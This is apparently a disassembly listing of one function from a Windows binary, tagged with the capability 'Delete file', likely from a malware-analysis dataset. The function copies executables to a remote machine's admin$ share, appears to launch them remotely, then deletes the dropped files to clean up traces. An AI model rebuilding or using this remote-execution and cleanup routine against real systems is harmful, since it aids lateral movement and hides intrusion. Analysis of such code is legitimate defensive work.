Function at 0x1400114ec
Capabilities:
Delete file

Disassembly:
jmp 0x14001ed40
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x7d8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x15e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x7f8]
mov rax, qword [0x14003b018]
xor rax, rbp
mov qword [rbp + 0x7a8], rax
lea rcx, [0x14004619a]
call fcn.140011bcc
lea rdx, str.___Trying_to_execute_remotly_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011168
mov rdx, qword [rbp + 0x7d8]
lea rcx, [rbp + 8]
call fcn.14001153c
nop
lea rdx, [0x140034100]
lea rcx, [rbp + 0x48]
call fcn.14001153c
nop
lea rcx, [rbp + 0x88]
call fcn.1400119b0
nop
lea rcx, [rbp + 0xc8]
call fcn.1400119b0
nop
lea r8, [rbp + 8]
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x408]
call fcn.140011988
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
mov qword [rbp + 0x740], rax
lea r8, str._admin__
mov rdx, qword [rbp + 0x740]
lea rcx, [rbp + 0x448]
call fcn.140011ad7
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
mov qword [rbp + 0x750], rax
lea r8, [rbp + 0x88]
mov rdx, qword [rbp + 0x750]
lea rcx, [rbp + 0x488]
call fcn.1400113e8
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
mov qword [rbp + 0x760], rax
lea r8, str..exe
mov rdx, qword [rbp + 0x760]
lea rcx, [rbp + 0x108]
call fcn.140011ad7
nop
lea rcx, [rbp + 0x488]
call fcn.140011235
nop
lea rcx, [rbp + 0x448]
call fcn.140011235
nop
lea rcx, [rbp + 0x408]
call fcn.140011235
lea r8, [rbp + 8]
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x4c8]
call fcn.140011988
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
mov qword [rbp + 0x740], rax
lea r8, str._admin__
mov rdx, qword [rbp + 0x740]
lea rcx, [rbp + 0x508]
call fcn.140011ad7
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
mov qword [rbp + 0x750], rax
lea r8, [rbp + 0xc8]
mov rdx, qword [rbp + 0x750]
lea rcx, [rbp + 0x548]
call fcn.1400113e8
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
mov qword [rbp + 0x760], rax
lea r8, str..exe
mov rdx, qword [rbp + 0x760]
lea rcx, [rbp + 0x148]
call fcn.140011ad7
nop
lea rcx, [rbp + 0x548]
call fcn.140011235
nop
lea rcx, [rbp + 0x508]
call fcn.140011235
nop
lea rcx, [rbp + 0x4c8]
call fcn.140011235
mov edx, dword [rbp + 0x7d0]
lea rcx, [rbp + 0x588]
call fcn.14001116d
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
mov qword [rbp + 0x740], rax
lea r8, [rbp + 0x88]
lea rdx, str._C:Windows_
lea rcx, [rbp + 0x5c8]
call fcn.140011087
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
mov qword [rbp + 0x750], rax
lea r8, str..exe_
mov rdx, qword [rbp + 0x750]
lea rcx, [rbp + 0x608]
call fcn.140011ad7
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
mov qword [rbp + 0x760], rax
mov r8, qword [rbp + 0x740]
mov rdx, qword [rbp + 0x760]
lea rcx, [rbp + 0x648]
call fcn.14001112c
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
mov qword [rbp + 0x770], rax
lea r8, [0x140034130]
mov rdx, qword [rbp + 0x770]
lea rcx, [rbp + 0x688]
call fcn.140011ad7
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
mov qword [rbp + 0x780], rax
lea r8, str.C:Windows_
mov rdx, qword [rbp + 0x780]
lea rcx, [rbp + 0x6c8]
call fcn.140011ad7
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x788]
mov qword [rbp + 0x790], rax
lea r8, [rbp + 0xc8]
mov rdx, qword [rbp + 0x790]
lea rcx, [rbp + 0x708]
call fcn.1400113e8
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x798]
mov qword [rbp + 0x7a0], rax
lea r8, str..exe
mov rdx, qword [rbp + 0x7a0]
lea rcx, [rbp + 0x188]
call fcn.140011ad7
nop
lea rcx, [rbp + 0x708]
call fcn.140011235
nop
lea rcx, [rbp + 0x6c8]
call fcn.140011235
nop
lea rcx, [rbp + 0x688]
call fcn.140011235
nop
lea rcx, [rbp + 0x648]
call fcn.140011235
nop
lea rcx, [rbp + 0x608]
call fcn.140011235
nop
lea rcx, [rbp + 0x5c8]
call fcn.140011235
nop
lea rcx, [rbp + 0x588]
call fcn.140011235
lea rdx, str.___Transfering_file_remotely_from:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011168
mov rdx, qword [rbp + 0x7e8]
mov rcx, rax
call fcn.140011168
lea rdx, str._To:
mov rcx, rax
call fcn.140011168
lea rdx, [rbp + 0x108]
mov rcx, rax
call fcn.140011a8c
lea rdx, [0x140034150]
mov rcx, rax
call fcn.140011168
lea rdx, str.___Transfering_file_remotely_from:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011168
mov rdx, qword [rbp + 0x7e0]
mov rcx, rax
call fcn.140011168
lea rdx, str._To:
mov rcx, rax
call fcn.140011168
lea rdx, [rbp + 0x148]
mov rcx, rax
call fcn.140011a8c
lea rdx, [0x140034150]
mov rcx, rax
call fcn.140011168
lea rcx, [rbp + 0x108]
call fcn.140011131
mov rdx, rax
mov rcx, qword [rbp + 0x7e8]
call fcn.140011b8b
test eax, eax
je 0x14001f2fc
lea rcx, [rbp + 0x148]
call fcn.140011131
mov rdx, rax
mov rcx, qword [rbp + 0x7e0]
call fcn.140011b8b
test eax, eax
je 0x14001f2fa
lea rdx, str.___Sucessfully_Transferred_Both_Files
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011168
lea rdx, [0x140034150]
mov rcx, rax
call fcn.140011168
lea rcx, [rbp + 0x188]
call fcn.140011131
mov qword [rbp + 0x738], rax
lea rcx, [rbp + 0x88]
call fcn.140011131
mov rcx, qword [rbp + 0x738]
mov r8, rcx
mov rdx, rax
mov rcx, qword [rbp + 0x7d8]
call fcn.140011109
mov ecx, 0x2ee0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x108]
call fcn.140011131
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x14001f2fa
lea rcx, [rbp + 0x148]
call fcn.140011131
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x14001f2bb
lea rdx, str.___Sucessfully_cleaned_up_files_from_disk_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011168
jmp 0x14001f2fa
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x734], eax
lea rdx, str.____Error_cleaning_up_files_from_disk:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011168
mov ecx, dword [rbp + 0x734]
mov edx, ecx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400341f4]
mov rcx, rax
call fcn.140011168
jmp 0x14001f31f
lea rdx, str.____No_Admin_Permissions_on_remote_machine
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011168
lea rdx, [0x140034150]
mov rcx, rax
call fcn.140011168
nop
lea rcx, [rbp + 0x188]
call fcn.140011235
nop
lea rcx, [rbp + 0x148]
call fcn.140011235
nop
lea rcx, [rbp + 0x108]
call fcn.140011235
nop
lea rcx, [rbp + 0xc8]
call fcn.140011235
nop
lea rcx, [rbp + 0x88]
call fcn.140011235
nop
lea rcx, [rbp + 0x48]
call fcn.140011235
nop
lea rcx, [rbp + 8]
call fcn.140011235
lea rcx, [rbp - 0x20]
lea rdx, [0x140032700]
call fcn.1400119c9
mov rcx, qword [rbp + 0x7a8]
xor rcx, rbp
call fcn.1400115c3
lea rsp, [rbp + 0x7b8]
pop rdi
pop rbp
ret